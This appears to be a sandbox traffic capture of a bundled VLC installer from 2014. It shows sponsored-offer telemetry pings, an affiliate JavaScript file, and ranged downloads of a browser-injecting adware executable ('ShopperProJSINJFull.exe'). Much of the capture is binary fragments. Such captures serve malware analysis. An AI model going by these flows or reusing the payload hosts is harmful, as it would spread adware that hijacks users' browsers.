HTTP/1.1 200 OK

Date: Wed, 17 Dec 2014 16:47:33 GMT

Keep-Alive: timeout=5, max=100

Connection: Keep-Alive

Accept-Ranges: bytes

ETag: "1418063416"

Last-Modified: Mon, 08 Dec 2014 18:30:16 GMT

Cache-Control: max-age=775

Content-Length: 1877

Content-Type: text/xml; charset=UTF-8

X-HW: 1418834853.dop004.fr7.t,1418834853.cds032.fr7.c
<?xml version="1.0" encoding="UTF-8"?>.<CrAppInfo>.  <V
er>16</Ver>.  <ShortName>Apps Hat 1.5</ShortName>
.  <Description>Apps Hat is the cool new Android app store that 
helps you discover hot new apps, both free and discounted. Get persona
lised recommendations, price drop alerts, and share your favourite app
s with your friends.</Description>.  <PublisherName>Nero&l
t;/PublisherName>.  <HomePageLink>NA</HomePageLink>.  &
lt;JSLink>hXXp://js.newstaticinfosrv.com/plugin/apps/65743/js/na/ie
/app_code.js</JSLink>.  <GroupID>0</GroupID>.  <D
omain>NA</Domain>.  <RunInIframe>true</RunInIframe&g
t;.  <ThanksURL>NA</ThanksURL>.  <EmailSignature>NA&
lt;/EmailSignature>.  <SettingsURL>NA</SettingsURL>.  &
lt;CertifiedInstall>NA</CertifiedInstall>.  <ExposeSites&g
t;NA</ExposeSites>.  <RemoteFBApiURL>NA</RemoteFBApiURL
>.  <DisableIE>true</DisableIE>.  <DisableFF>true
</DisableFF>.  <EnableSearchIE>false</EnableSearchIE>
;.  <EnableSearchFF>false</EnableSearchFF>.  <Addressba
rIE>NA</AddressbarIE>.  <AddressbarFF>NA</Addressbar
FF>.  <AddressbarFFEnhanced>NA</AddressbarFFEnhanced>. 
 <AddressbarCR>NA</AddressbarCR>.  <NewTabURL>NA<
/NewTabURL>.  <NewTabEmbed>NA</NewTabEmbed>.  <OpenS
earchURL>NA</OpenSearchURL>.  <BackgroundJS>hXXp://
<<< skipped >>>


GET /online/ka.aspx?CV=2.0.0.0&ProductID=12000&UserID=ecf02c05-2477-44b0-82b0-38a8feb8f4b0&Password=5823NWIH&OS=10&V=3.3.9.4&VS=0&Beta=0&Aff=smtycl1_0_0_0_0,eb48a9ab-49f6-4199-935d-4935ca672341,&BundleID=NONE&BrandID=NONE&PartnerList=&ElapsedTime=1418834631&SBPIDS=1&KA=1 HTTP/1.1

User-Agent: CoreWinInet

Host: online.GOOBZO.com

Cache-Control: no-cache

Cookie: ASP.NET_SessionId=k02k3o5545cse1bcmjjn5rj5





48a9ab-49f6-4199-935d-4935ca672341,&BundleID=NONE&BrandID=NO
NE&PartnerList=&ElapsedTime=1418834631&SBPIDS=1&KA=1" 
id="form1">..<input type="hidden" name="__VIEWSTATE" id="__VIEWS
TATE" value="/wEPDwUJNzgzNDMwNTMzZGR2ZsAnoxOCObOpC82NfSRA21X80Q==" /&g
t;....    <div>..    ..    </div>..    </form>..<
/body>..</html>..


GET /jollywallet/resources/js/2/affiliate_client.js HTTP/1.1

Accept: application/javascript, */*;q=0.8

Referer: hXXp://VVV.youtubeaccelerator.com/finishinstall/?VA_V=3.3.9.4&VA_Aff=smtycl1_0_0_0_0,eb48a9ab-49f6-4199-935d-4935ca672341,&VA_br=NONE&VA_ask=NONE&VA_Beta=0&VA_Mode=3&VA_OSVer=Windows_7&VA_IsConnected=1&VA_src=1&pr=1&TSI=75&BundleID=NONE

Accept-Language: en-US

User-Agent: Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.1; WOW64; Trident/6.0)

Accept-Encoding: gzip, deflate

Host: d2cnb4m0nke2lh.cloudfront.net

DNT: 1

Connection: Keep-Alive




HTTP/1.1 200 OK

Content-Type: application/x-javascript

Content-Length: 326774

Connection: keep-alive

Accept-Ranges: bytes

Cache-Control: max-age=345600

Date: Thu, 11 Dec 2014 21:29:58 GMT

ETag: "54884e49-4fc76"

Expires: Mon, 15 Dec 2014 21:29:58 GMT

Last-Modified: Wed, 10 Dec 2014 13:44:41 GMT

P3P: policyref="/w3c/p3p.xml", CP="CURa ADMa DEVa OUR IND DSP CAO COR"

Server: nginx/1.4.7

Age: 155695

X-Cache: Hit from cloudfront

Via: 1.1 b07930f2b1bbc6fac8c6dc306204f415.cloudfront.net (CloudFront)

X-Amz-Cf-Id: 7c644wFmvR2H5gBoyEv7j5N2aMa43TUT_J5PnGSrCXIbjHgzfXI2eA==
var jw_db = {};.jw_db.permanentData = {gui:[],actions:[]};.jw_db.perma
nentCache = ["2351f600bf62102c56b3941c39225683","16524241cd11b1b1c6b3a
b30874047d6","c677ed22eed7f49fb1c55f70396c13f8","513eba82ce28999a775a1
e0e940d2ba4","5617660db3c6ac0476d867cca3b88fe8","e48ec7a3651ed003f8c06
1f518de9a4a","d04992ca4d0bbfe57c6e97c4800f9238","3fbd46e58e6a5fb439c6b
9ce6dca6722","9659eae7f67b76fb8644da35b1a3031f","cc2bebaa4fd273bc9bfd8
5189e750f1b","ff6e3f4612ef317625de5eb91140233f","bc2e6c682fb7411be447d
ed8eff5241b","1d60fc858146df68b9f8d259697f499c","a18281565d8fe250b850f
966a0c8054c","1d2be12b3c7e149eb9580da963e1ce05","886b52137277a7e848070
77888faf95b","73bcd3981149f5bffcb4bc0882d2136f","86c4d82fc0aedd1666acb
0abe4619a43","b53e20c91b81ec25a6d06d4cf351d0b2","2db77d0bbaad6f48449aa
2ee75b07b2f","4d03e7e5a92c5f56488651ea717cf464","233e5595b16e975bb4ebd
fd25620240a","e25c18fe7492b06a1acfe93ce6e83b8b","f13d88798f2b83aa50926
55b00be4ef1","b66380a53038ae2b7dd1bfaf6781d6ff","8afe94aa44f0ed7e607c9
86c538d37d7","a03bfb2d9a68853cad303a64fc54c0f0","91405a3e3c688a8e6f846
8949b18f94f","e77ffd08f59704bdae2a2c7f4a86ed9f","1576c876d278876f29c79
6c876da7659","42115558454a5a92dee17a1e651b5692","e50173d2983f028042965
a37357931fc","063c233da86fe6f0bb4c9d332f494099","600dff3e7e087e8af4acd
d996b6ecbea","9bd5796c279f448b0b2b32b6271d67b2","e33d5df51a0913066917a
3a1bfbc9f57","66043d5ca4afedac52b066d69a271dde","2fcf8b55874afc412cf42
286c4942e81","f8e236df6124dfd9dfdf2dd1b82b3b40","f35460959faa7ac9c027d
ef739f6c927","f1165efcdc35ad738ec7b63656e4ea6d","d0dcf869247f0494e
<<< skipped >>>


GET /MFEwTzBNMEswSTAJBgUrDgMCGgUABBSpuCE3aK3GivZPzGQJ6L5BRyZofwQUl9BrqCZwyKE/lB8ILcQ1m6ShHvICEEES5jLHsYoCmjofrIA6uJ8= HTTP/1.1

Connection: Keep-Alive

Accept: */*

User-Agent: Microsoft-CryptoAPI/6.1

Host: ocsp.verisign.com




HTTP/1.1 200 OK

Server: nginx/1.4.7

Content-Type: application/ocsp-response

Content-Length: 1790

content-transfer-encoding: binary

Cache-Control: max-age=408667, public, no-transform, must-revalidate

Last-Modified: Mon, 15 Dec 2014 10:19:02 GMT

Expires: Mon, 22 Dec 2014 10:19:02 GMT

Date: Wed, 17 Dec 2014 16:47:55 GMT

Connection: keep-alive
0..........0..... .....0......0...0........6?s....V....OlL".O..2014121
5101902Z0s0q0I0... ..........!7h....O.d...AG&h.....k.&p..?...-.5......
.A..2.....:...:......20141215101902Z....20141222101902Z0...*.H........
.....A.?v....x...R..IV..........9.%...OQ.&lm..L81!.l4......v,.....:e..
.....m.2\$K.I.GS..E95.J.G;...T...lj.....f.=.5!$..cM..0'....F.k.n.$.6s.
..V.<.xbrT....).nC...`Q.m18d.....V...?9O..X.$...bZ...[.....%z^.....
'...l..e....b.(q..CH. .........T.M.d.:[email protected]!..-,....#0...0...0...
.......<o&S.-S..}...e.30...*.H........0..1.0...U....US1.0...U....Ve
riSign, Inc.1.0...U....VeriSign Trust Network1;09..U...2Terms of use a
t hXXps://VVV.verisign.com/rpa (c)09100...U...'VeriSign Class 3 Code S
igning 2009-2 CA0...141205000000Z..150305235959Z0..1.0...U....US1.0...
U....VeriSign, Inc.1.0...U....VeriSign Trust Network1;09..U...2Terms o
f use at hXXps://VVV.verisign.com/rpa (c)091<0:..U...3VeriSign Clas
s 3 Code Signing 2009-2 OCSP Responder0.."0...*.H.............0.......
..{(..t....2.Vf.....&;6).i*[email protected]._p.E.6.|.mk....(....
......p...........X.DF....^0N....b9.:..J. ZK.".^..\..p.'.$..JA..~QG.d.
}...r...gv... f...z.#..}..J...r9h.........LI-..^.......PUD.h<.l....
(n..i.....E.....2....^./Y......Y.m...'...hz..y..E..........0...0...U..
..0.0....U. ...0..0....`.H...E....0..0(.. .........hXXps://VVV.verisig
n.com/CPS0b.. .......0V0...VeriSign, Inc.0.....=VeriSign's CPS incorp.
 by reference liab. ltd. (c)97 VeriSign0...U.%..0... .......0...U.....
...0... .....0......0"..U....0...0.1.0...U....TGV-B-24710...*.H...
<<< skipped >>>


GET /pinger?event_type=install_complete&installer_source=tokyo-bidl&software_type=sponsored&muid=96d78f35e7b7ea4fc32736d428df43b4&client_uid=796c42aebeb52f4eabf469c6ed8ad1c0&uniqid=61c1e9ce078e3e20f171532f2a80443c&affiliate_id=network_xrwc_1&software_id=vlcmediaplayerdmot&sponsored_id=youtubeaccelerator&tokyo_csrf2_key=cc90ebc56362f1bd1be2d710acda8d14&tokyo_csrf2_timestamp=1418834602&slot_number=1&index_in_screen=1&index_in_session=1&0.8735975270306648 HTTP/1.1

Accept: */*

Referer: hXXp://bi.bisrv.com/downloader/network_xrwc_1/vlcmediaplayerdmot/49e8eb8101569a41ad990f2a534d0e40?muid=96D78F35E7B7EA4FC32736D428DF43B4&v1=:v1:&cv=:cv:&v=2.1v=2.1&uid=49e8eb8101569a41ad990f2a534d0e40&muid=96D78F35E7B7EA4FC32736D428DF43B4

Accept-Language: en-US

Accept-Encoding: gzip, deflate

User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident/6.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; .NET4.0C)

Host: bi.bisrv.com

Connection: Keep-Alive

Cookie: __utma=1.61869844.1418834552.1418834552.1418834552.1; __utmb=1.1.10.1418834552; __utmz=1.1418834552.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); __utmt=1




HTTP/1.1 200 OK

Server: nginx

Date: Wed, 17 Dec 2014 16:44:41 GMT

Content-Type: image/jpeg

Transfer-Encoding: chunked
0..HTTP/1.1 200 OK..Server: nginx..Date: Wed, 17 Dec 2014 16:44:41 GMT
..Content-Type: image/jpeg..Transfer-Encoding: chunked..0......


GET /pinger?event_type=install_start&installer_source=tokyo-bidl&software_type=sponsored&muid=96d78f35e7b7ea4fc32736d428df43b4&client_uid=796c42aebeb52f4eabf469c6ed8ad1c0&uniqid=61c1e9ce078e3e20f171532f2a80443c&affiliate_id=network_xrwc_1&software_id=vlcmediaplayerdmot&sponsored_id=mystartsearch&tokyo_csrf2_key=cc90ebc56362f1bd1be2d710acda8d14&tokyo_csrf2_timestamp=1418834602&slot_number=3&index_in_screen=1&index_in_session=3&0.5008168943327742 HTTP/1.1

Accept: */*

Referer: hXXp://bi.bisrv.com/downloader/network_xrwc_1/vlcmediaplayerdmot/49e8eb8101569a41ad990f2a534d0e40?muid=96D78F35E7B7EA4FC32736D428DF43B4&v1=:v1:&cv=:cv:&v=2.1v=2.1&uid=49e8eb8101569a41ad990f2a534d0e40&muid=96D78F35E7B7EA4FC32736D428DF43B4

Accept-Language: en-US

Accept-Encoding: gzip, deflate

User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident/6.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; .NET4.0C)

Host: bi.bisrv.com

Connection: Keep-Alive

Cookie: __utma=1.61869844.1418834552.1418834552.1418834552.1; __utmb=1.1.10.1418834552; __utmz=1.1418834552.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); __utmt=1




HTTP/1.1 200 OK

Server: nginx

Date: Wed, 17 Dec 2014 16:44:46 GMT

Content-Type: image/jpeg

Transfer-Encoding: chunked
0..HTTP/1.1 200 OK..Server: nginx..Date: Wed, 17 Dec 2014 16:44:46 GMT
..Content-Type: image/jpeg..Transfer-Encoding: chunked..0......


GET /pinger?event_type=install_fail&installer_source=tokyo-bidl&software_type=sponsored&muid=96d78f35e7b7ea4fc32736d428df43b4&client_uid=796c42aebeb52f4eabf469c6ed8ad1c0&uniqid=61c1e9ce078e3e20f171532f2a80443c&affiliate_id=network_xrwc_1&software_id=vlcmediaplayerdmot&sponsored_id=mystartsearch&tokyo_csrf2_key=cc90ebc56362f1bd1be2d710acda8d14&tokyo_csrf2_timestamp=1418834602&slot_number=3&index_in_screen=1&index_in_session=3&0.17405234581493806 HTTP/1.1

Accept: */*

Referer: hXXp://bi.bisrv.com/downloader/network_xrwc_1/vlcmediaplayerdmot/49e8eb8101569a41ad990f2a534d0e40?muid=96D78F35E7B7EA4FC32736D428DF43B4&v1=:v1:&cv=:cv:&v=2.1v=2.1&uid=49e8eb8101569a41ad990f2a534d0e40&muid=96D78F35E7B7EA4FC32736D428DF43B4

Accept-Language: en-US

Accept-Encoding: gzip, deflate

User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident/6.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; .NET4.0C)

Host: bi.bisrv.com

Connection: Keep-Alive

Cookie: __utma=1.61869844.1418834552.1418834552.1418834552.1; __utmb=1.1.10.1418834552; __utmz=1.1418834552.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); __utmt=1




HTTP/1.1 200 OK

Server: nginx

Date: Wed, 17 Dec 2014 16:44:47 GMT

Content-Type: image/jpeg

Transfer-Encoding: chunked
0......


GET /pinger?event_type=install_start&installer_source=tokyo-bidl&software_type=sponsored&muid=96d78f35e7b7ea4fc32736d428df43b4&client_uid=796c42aebeb52f4eabf469c6ed8ad1c0&uniqid=61c1e9ce078e3e20f171532f2a80443c&affiliate_id=network_xrwc_1&software_id=vlcmediaplayerdmot&sponsored_id=appshat_madness&tokyo_csrf2_key=cc90ebc56362f1bd1be2d710acda8d14&tokyo_csrf2_timestamp=1418834602&slot_number=4&index_in_screen=1&index_in_session=4&0.9148047476430152 HTTP/1.1

Accept: */*

Referer: hXXp://bi.bisrv.com/downloader/network_xrwc_1/vlcmediaplayerdmot/49e8eb8101569a41ad990f2a534d0e40?muid=96D78F35E7B7EA4FC32736D428DF43B4&v1=:v1:&cv=:cv:&v=2.1v=2.1&uid=49e8eb8101569a41ad990f2a534d0e40&muid=96D78F35E7B7EA4FC32736D428DF43B4

Accept-Language: en-US

Accept-Encoding: gzip, deflate

User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident/6.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; .NET4.0C)

Host: bi.bisrv.com

Connection: Keep-Alive

Cookie: __utma=1.61869844.1418834552.1418834552.1418834552.1; __utmb=1.1.10.1418834552; __utmz=1.1418834552.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); __utmt=1




HTTP/1.1 200 OK

Server: nginx

Date: Wed, 17 Dec 2014 16:44:47 GMT

Content-Type: image/jpeg

Transfer-Encoding: chunked
0..HTTP/1.1 200 OK..Server: nginx..Date: Wed, 17 Dec 2014 16:44:47 GMT
..Content-Type: image/jpeg..Transfer-Encoding: chunked..0..


GET /app/ping.ashx?e=lOCrbsNL2zWx1kvX9v50CAIY2i4vW9zFjPtK5w/dU0Nep0NzDIMSG9DLqLHxLpkMub ZrrC FYd4ibS7Xw5g1/Eh6MhNwuPKYtlM6o Ldza8zhm7PCJPoTnyoq vkmpgx13 Ii9805eFt2wTTo5NME5QN0wFADGiZiwA7PPuGba/qYydEVX0aBdviNsPXm6GNAxCMMVg3AzYz9UHnTAf3Mvwero5ya7SNHyd9Jj1gdzCfQagY8pW fxWwjEc sn2qwPMXmHsT8xuBMcUf8UemD9EYs0TzOu1 HTTP/1.1

User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; SBUA)

Host: rep.youtubeaccelerator.com

Connection: Keep-Alive




HTTP/1.1 200 OK

Cache-Control: private

Content-Type: image/gif

Server: Microsoft-IIS/7.5

X-AspNet-Version: 4.0.30319

X-Powered-By: ASP.NET

Date: Wed, 17 Dec 2014 16:43:50 GMT

Content-Length: 0
HTTP/1.1 200 OK..Cache-Control: private..Content-Type: image/gif..Serv
er: Microsoft-IIS/7.5..X-AspNet-Version: 4.0.30319..X-Powered-By: ASP.
NET..Date: Wed, 17 Dec 2014 16:43:50 GMT..Content-Length: 0..


GET /msdownload/update/v3/static/trustedr/en/authrootstl.cab?909ce6d1d01ec385 HTTP/1.1

Connection: Keep-Alive

Accept: */*

If-Modified-Since: Wed, 12 Mar 2014 20:20:10 GMT

If-None-Match: "0b96c77303ecf1:0"

User-Agent: Microsoft-CryptoAPI/6.1

Host: ctldl.windowsupdate.com




HTTP/1.1 200 OK

Cache-Control: max-age=604800

Content-Type: application/octet-stream

Last-Modified: Fri, 12 Sep 2014 18:47:05 GMT

Accept-Ranges: bytes

ETag: "805a83f2b9cecf1:0"

Server: Microsoft-IIS/8.5

X-Powered-By: ASP.NET

X-Powered-By: ARR/2.5

X-Powered-By: ASP.NET

Content-Length: 56928

Date: Wed, 17 Dec 2014 16:45:31 GMT

Connection: keep-alive
MSCF....`.......,...................I.................,E.Y .authroot.s
tl..Y-..8..CK...<T...g.v!M.d..f.%d..}K..5..F. ...T..%.,YJ.,!T......
_..x.<=O.....yy....;3..>.|..~..\.....|......;..8..~.za...."A...q
.......g..m......<X........j"I........!..-w.....w....P...H..(.?}..2
.N. .u..a. ...=.C..D.F>rC.. ..|).=.. ..3b.8H.M...(...u8.%...W.g...\
YB.m:.....dE.........V....$....Dn:....0...S."...o..q.....K...I..K...(x
%....>A.R...`.0 .........<`L0mp...%....y.....g.n...R0Op..<..,
....`0$z.@..&.x"....T..H...<........~..E..".....<<.\B(.......
[email protected]/"...f.......k..Jm7j....R.5q....Rz.
.!@...].......Y.[........4.. .D8..&...t.J^O..Q.._..1.J.m5<'k.,....%
T....i.\.;.;q..S./ 8.?Bu.............}D.Q....L....*..[.."e......15m...
_.0.M........#..v!..<...@..?sc.y....*.....tX[........{.W4.Q...^u@..
*..QP.......~.L9N....2r...4.....B..-\(...b.d...K...O.8..Un.......V.<
;.......A...V.....(..s..f..q.{N0.hS.,..;M.|G|[email protected].._.....7._6...C.0...
A;L....%...M=Y.....f.JV.(.5.....0..?*...KZ....jM...8.6U...#...ew.?..?.
..........WE.Or..O>..{.'[email protected]}.o:?~....]&l
t;!...%....}@.d...L.p.a.g ..K."..N1!%..S.bT.H.-.....e..`.0$...0t..DX..
{.....#./...8.5..M...T.......D......V\C.zy.....3E:..>.{..).QW......
q....9..n..1....8%,.........r.p@.>. ...Q.?.p..7.?..7...&..!........
.`. .=....Sf..q.l.A.....L...t.}g..;...f....=.e.~.z....C..*R....H-..=..
.f..(t'.."....F...g._....n.J..U.4vr`}.....1..o@.....@.#...R. L8....z..
].|......3..y..-./....K..6{...s.<R`.}[email protected]....
<<< skipped >>>


GET /ShopperProJSINJFull.exe HTTP/1.1

Range: bytes=250000-499999

User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; SBUA)

Host: d2bt1dcmxj05l2.cloudfront.net

Connection: Keep-Alive




HTTP/1.1 206 Partial Content

Content-Type: application/octet-stream

Content-Length: 250000

Connection: keep-alive

Date: Tue, 16 Dec 2014 18:33:45 GMT

Last-Modified: Tue, 16 Dec 2014 18:18:33 GMT

ETag: "8636e548ab5cfbeb08cf75949dcd0a42"

Accept-Ranges: bytes

Server: AmazonS3

Content-Range: bytes 250000-499999/4686543

Age: 79788

X-Cache: Hit from cloudfront

Via: 1.1 627cfcd63872f08990562b39898647d0.cloudfront.net (CloudFront)

X-Amz-Cf-Id: 4xw-lPNwZviV5KyTI8Qo2Zav1oOuzQXZrJGzLT3orhi5U1KawIkLpQ==
..34.}.I..oF@"..T...88.Oq.2...<...R..q=y..{.ce*[.~5y$7...'...`.....
......fy..x.Q.-F.Z......Kd....F.^..X.E..;.3"..A...E.]_ar<np.3.C.e~.
.>.~.;.6?..p.......... Rk.,.AVz.....}...H.i.......(..|[email protected].
.............!.q;.k.W|./. ..g%&.X...3.g s....Rl}.@_.=..W|.k....3Z.....
....G....8p...f....~2.J. .e.,.D.....^.}............T4..0...(..t.$.L_z.
roND.......M.,"...7..O"..R}..M.$8...R.A:...g...Q..Y..:UX:.d!...$.y.q1.
.$......K.?-Q.S*B.F.3.HX....D...q5`......G*..,jSH..b...a.9...m.h..h...
.9....W.# .5....7y8....L-n3x...G..js.....X..Z7.R. .....{HH...N}.'z....
.!iK.....,j......3........%......-.?..}.C...kz.....fW.Xc.p...t..j.G..W
i..S`[email protected]|3i..q.............. y.e..%...9...Q..i...4.1.o.Eo.v....o
1.%[email protected].*..............AOR.'rU...8P2.Z?.Y...~....s.Dw.....
c<2m....h?{..H.v5..;#%w.U5...:.6)y.B.3. w......8.B........}.'A4.K.D
.'...? i.Z..>sf.a.rp....O..........]..$.b..3P..]l~........R..2.}..e
=.].b.v..;-.$Q....l....Z~.........0C.....3c.......8(.,.... ....^{3i...
[email protected].{c.u.30....Z.....o/.1..ek....?p\4..=H,.19W..
.][email protected].~ZZ.Vzy......].j......uG-...@...#[email protected].........
|..g...k..x.O..?..... ..8qNb...3........4....UW.".t.........z....2.d.V
H..K..~>r.d_:z..G....yy..J.C..i...J6.r..:.....V..&.....d...m.1...B.
.....s..v..|.Z.|..e.[.w2.x).Z.,.....<.....6J,O.. ...0w..~F....0wR~.
jm7f...[$...;..\..M.....R'F...*".TX_....g.f{3J. ....~.l..3.S.....>.
`..[#.b..`.a...8..`fw......}.p...sqp0e.z.d.&....,.#....h.....G-.\...$.
..y.~.......G. Q2M.V..$....{3e.L......f.......lvy..[....H....6.dvg
<<< skipped >>>

GET /ShopperProJSINJFull.exe HTTP/1.1

Range: bytes=750000-999999

User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; SBUA)

Host: d2bt1dcmxj05l2.cloudfront.net

Connection: Keep-Alive





^ ...).TuU..k..........U....M...b.J.......!....g...*.;.l..._...5.....(
.$_v..._.1%vn.c.)Pv.4.......g...C_...)G..'6......n..6)JZ...O..V.{...$.
.{$..k.L.......Z.....C#[email protected]....`.Z$?
\..i="...*..a.o7....p...7......g...bm....k..LTUR_...0.._......j.......
08.....{...pG....... ..O..G.....?.....&.....I....YV.%..`5C-K..S.. h...
6{.XmI.k...b6..9...OF.q...>TP......../.:.;.t.. ...x..Y..........\.n
..|g.....b.:.Zr..p...1.............}3w7.....;...I...j.X2,}......(.....
r.../...0.m..T}..W.r....o.2......E$..l..{.:A.1.........-...S;..s.O...v
$..S...sb.l.#..........wo.>...N. .,.gP.......|..........V.>9.lY6
Nyz../...I......~v.n........).K.,........D.b.`_n."b...9..A...n0.W)&B1.
.....u....e.SRGN......k..!.. ..@...`....{..&.}=".:. ......?.E.....S.B;
......o..........l.D.).>[email protected]....!R...;.....N....76
$............c.1.......'VC.`..........6.a................9DC.e}m.Tq..S
....'....c8wl_;c(..0m. .2.#9..h...Q.d.w*I5&-.....i....T.....%.-e".A=:E
h..; %....Z.._.Q|....[.%n".=..........~)[email protected]_K.c..VOy...8.2.h.C.
N.d..LZ.{4V?.Pm=l...1..n9l...}............`...n.?.....\.....8.....0.. 
.........gE...:g.OJP.d..=....3.....@.*..t...97=NJ.....)S.G...9.gH.b.^:
..s}(L/.'.o..x.5'QOx..uIy.D|fd...x7...|.......XAi"h.C....|..`.N......k
..)O..>..H<.!W.W.%"/h..f.0.q7..Cl....}.t.73..J.......R>~.uA..
........s.....<=.$....d.'@..A....0.&...!.....J.c..J-.....`).H..6>
;&v>.>|._...m..........__r......"K!..'.C.B.....f. =! K..@Am... .
....\......~=..T:._h.h.s{...).c..G..*....1M.7..do...f*f4.....Y%.J.
<<< skipped >>>

GET /ShopperProJSINJFull.exe HTTP/1.1

Range: bytes=1250000-1499999

User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; SBUA)

Host: d2bt1dcmxj05l2.cloudfront.net

Connection: Keep-Alive





hE....c.....:.v.a..:!.~...:p.we.....U>HM<'.....].A..m7j... s.."d
}...sG`..'.. V,..[.|N>.(.7u>@.......;....k{SR.."v...be.$..T<.
.....J.;...B.6.l.j.......X.:..B.,_.4........{0_.F....{.K..B:kb.|..K.d2
.|.Z...h.,..JB .[...=...P../.............W".*:. =..J}vq..jT.....',.]..
xo..rL.7.h..n6.1i...s....;..G..uB...)..L.j=g......9%....f.....5.qH.h.M
1..rv..M.G......X,.....x.$x</J.l.e....%...e_.{..t..F...e..Q.A.G7^K.
...l......P..Z...-4cv..g.......mg\.T .$....e........M.q.....^_=.....m.
.SYN..tI.#k.~.@."O..e/ .0i...n.;.i....vW...b .[ .b,'....q..|.{Gg....=.
.M..0...5f.~M;...z..s5.}..^.L.4P.....0.7...........r....;c..{.*..b`.?.
1.....|i.46.xd..../.......v<..=f^JcP..{i...N...uuI..a..h.<...T.F
.Z...& lY.pW...n...S.....].........~.Wq.l;.1.k...=........."`.A*.u..`]
...4U.;..b...G....&....G.....Q.h[....B........G._.X|........F...s.yn..
.r(.B.$N......2.u..Ex../W..FY..fB.A..#...s...A.9...8...WK.-..r.......&
lt;...3..O...#.....gD.C...kf9.........Lv.X....&.mq.....G........k..Z@.
......[X>W...SD&.H....V...e.g.t........L..h.....F..*[email protected]./q.
...r.!6.:...CN..........m..i..}s...W...J......1...... ...d..:....*...e
.....o.....?..:l.............l...e:..@-.=....2.B..S...c.z...l*....=..O
.P..J"Q..9U<..-.Y{[email protected][[email protected]:....|.BH_..W.|........Y
..$Y...t1........"...%c?;0.r.z...G...u^...|x..,<..o<]y.x.%...z.O
.......2lSd..X"..)8VH%..*..W^X1oN,S..a.GK.FL.........%... Kz..(N...p..
...N.xoOR.s.`w....'..O.6.N...)..Zf....5$...G..Mu.j...UN.i...v...g..v.&
gt;..&d{4q8.~w.....x.....KL.qo:....b.............`6.%...K.=......C
<<< skipped >>>

GET /ShopperProJSINJFull.exe HTTP/1.1

Range: bytes=1750000-1999999

User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; SBUA)

Host: d2bt1dcmxj05l2.cloudfront.net

Connection: Keep-Alive





..mi...R".e...g9....Y....f0.A< LO/...2d.?....$&.Z.5....N"zY..-0:..%
[email protected]...(e...>HmQ..=..jHKH.....s.O8.DI..X..5Z.NT...1V4.85t...QUf....
.. )...O.(..3e..O.?A...K.b.W._.Q.nC...V.J..o...d.^.\....v1h.]a......9&
.C:.....n......}j..Z>M....h}...~.^3......c..a...>5..-..K...`....
...\../.!&3...x[.....I.o:u.#T....#.hk....\.o.....bh....M.......D......
|(.....a.....X->..1....=c...g...5.>&.J.*...#.F.... .D.........x/
.Mh...{.(..q.....4..8....)...{.:..YHb..E..,..=`p..#.....s.X...d.hE.-..
.~.F......_...F..6.L.[..7.....8....o.i..(....'x..%..f..6.g..0..Kuz.q.P
.GiW...w. A.Kl...../....b......V......up..>.'..<Bt.,.n.rx....%f.
Y.N...~.....rp...f.DS..=<.Y..Z..g.....-....}...m..-..t.......3b..;_
^.n8..k.=.._Q.#&.."...m..S."c.zr.&v.:Q.....?.X].e...o)lBt....S#d.l...a
t.'..G.k7.....l.>b..%..8.....*...|..,...YZ(....x.>s....x......o.
p[......mJH....U'..>..].^.,....8U'a...V..m. N.D..:*.b....e...M.9...
Ne.H.zDJk...:}.......T........J....[.c.JJ..?...{.2..T.....*......Eul..
........eAz.a...`..IQj%.....-....>.z......~..a..(..............7...
..........J.z ......UqT..wmL..{./.....X4..c.XR..]..O.:.......^T..x..h.
...%...g.#.R..5..O....-.u.........X.4#.3.I/{.K.o..<.q:.w...L.......
d. ...T..e..............eaqVq!...8%....Q ....A/...4..w".|......HeC...T
..5....c...G.$..n.>..NMB...0.$C/......._.l.L........CXF(.........Zo
..Fd6.......^[email protected]^......`......;Zt..f.<...&l
t;.`...Z............v..K...}.....nE!.*.....g...;.c.~..e$|..P.UfB.J....
..~_.K..Yd.S..t.y...A...#F...}[email protected]/:..O.c.".."D/.8...Z.. ..c...}.
<<< skipped >>>

GET /ShopperProJSINJFull.exe HTTP/1.1

Range: bytes=2250000-2499999

User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; SBUA)

Host: d2bt1dcmxj05l2.cloudfront.net

Connection: Keep-Alive





...1......k......J...Q$.....q...{2O..dt......)...!bl.]TmL.......Bd.f.o
.2...b.......9.~._p.}..M......7...#....0.x_[.s....Zt>|......*Ct....
~6..<#.:t.6..!.p...}R. K.|...s.aI..g.......6JP.....E...T..T...ZO...
..*....b..l...l...,.3.F./.X&V`@...1..W.P.1.......3..p...Ux=..^.h.2.2..
d_.kb.$[ ...4.*.).$.J...C2...C......5.......62....]...4....=.....rj...
.G9...f...>.)..qK W..5l..m..}.........w.8...99.v............p....7.
...f...Q.....'...r0|K].Z\...6..m...A3..9.Q..(F...8.c;..&1.....L4...E..
...U.....f.....L~..z.-.KH?....W.S...u....CC.`'....o..l..u......ba...5&
....?....F(U(2.:j..R!....|...e..u...........C.t....Q.0/....j..y.}d$..4
[email protected]>.>G..,..K...U........qm.n..B.J...
.aW.[[email protected]./[.@:D6.....|.....I[..H.[.?.......s.....L... .I.?s..7
F@._daxo.v...`(..........W..............p..f..Rf...1ZF...O.'.....(....
